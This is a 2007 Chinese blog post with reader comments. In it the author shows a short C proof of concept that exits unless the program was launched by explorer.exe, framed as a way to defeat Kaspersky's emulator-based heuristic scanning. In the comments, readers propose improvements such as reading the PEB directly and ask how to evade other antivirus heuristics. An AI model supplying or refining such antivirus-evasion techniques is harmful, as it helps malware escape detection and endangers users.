可怜的高级虚拟机启发式查毒

| |
[不指定 2007/11/09 13:46 | by xyzreg ]
被我十几行代码就咔嚓了,而且还没用奇技淫巧,呵呵:

DWORD fpid,epid;

void VMM()
{
   PROCESSENTRY32 pe;
   HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   pe.dwSize=sizeof(PROCESSENTRY32);
   if (Process32First(hkz,&pe))
   {
    do
    {
       if (pe.th32ProcessID==GetCurrentProcessId())
       {
                     fpid=pe.th32ParentProcessID;  
       }
       
       if (stricmp(pe.szExeFile,"explorer.exe")==0)
       {
                     epid=pe.th32ProcessID;
       }
    }
    while(Process32Next(hkz,&pe));
  }
}

主函数里:
VMM();
if(fpid!=epid)
   return 0;


不明白?那就不要看了,常识啊常识……
技术随笔 | 评论(69) | 引用(0) | 阅读(16074)
mynice
2007/11/12 15:01
大牛,有人把你的代码发到卡巴官方了,这个是那里的工程师的回答:“1. There are zillion ways to defeat an emulation system by finding a difference from a real system. Posting one of those as something special and/or something new is not very professional. (I'm not talking ethics here.)

2. With any decent emulation engine, this issue can be fixed in no time. At least this is the case with KAV's heuristic analyzer.

3. Due to its obvious deficiencies, malware authors will hardly use this technique as is. Consequently there's no practical reason making KAV pass this "test" right now


http://forum.kaspersky.com...
AntiVir
2007/11/12 09:50
卡巴就被你这样的大虾研究来研究去····我3月中了个超狠的围巾,猪叫了一个下午,围巾没死D盘一开就死机~~唉!我可没你们那么牛,但是杀毒软件我还是会用蛮多的~!请问小红伞怎么样,就是那个AntiVir,是不是也很容易就干掉(我是用P版或者W版的)?请教一下高手啦!谢谢啊
William
2007/11/11 19:37
唉……来了这里我才知道我也是很天才的……
xyzreg 回复于 2007/11/11 23:12
你说我是天才?不敢当哦,不过还是谢谢了,哈哈哈
123
2007/11/11 15:47
请问有什么好办法对付NOD和小红伞的启发啊?头疼啊。。。
winner
2007/11/11 10:05
有时候,看似强悍的东西,也会有脆弱的地方。
支持你的原创..
kyun
2007/11/10 22:16
树大招风啊!你就这么鄙视卡巴?那你还研究它!看来你还是在承认卡巴是最好的杀软之一
xyzreg 回复于 2007/11/10 22:25
没鄙视卡巴7.0

卡巴7是众多杀毒软件里顶尖的了。

其他的某些杀毒软件值得我来说么?
caiker
2007/11/10 18:30
但是这个程序有弊端,如果是挂马中了,也打不开了,但是可以再加个IE的进程ID,这样就OK啦,哈哈哈哈哈哈
xyzreg 回复于 2007/11/10 20:13
贴的只是poc
mj0011
2007/11/10 18:12
某些不敢留名的胆小鬼 不要冒我的名字 OK?
kruglinski Homepage
2007/11/10 17:41
如果Process32Next被Hook了呢?

直接读PEB就行了,几行就搞定了,Toolhelp操作的还是PEB,参考一下OS源代码。
xyzreg 回复于 2007/11/10 20:13
卡巴7没hook它的,poc嘛,呵呵
gg
2007/11/10 16:47
我日。。。这种低素质的文章也发。。偶服了U
xyzreg 回复于 2007/11/11 00:54
高素质文章你舍得发?

再说了,用简单的方法解决复杂的难问题,叫高境界,哈哈
分页: 5/7 第一页 上页 [1] [2] [3] [4] [5] [6] [7] 下页 最后页
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
昵称   密码   游客无需密码
网址   电邮   [注册]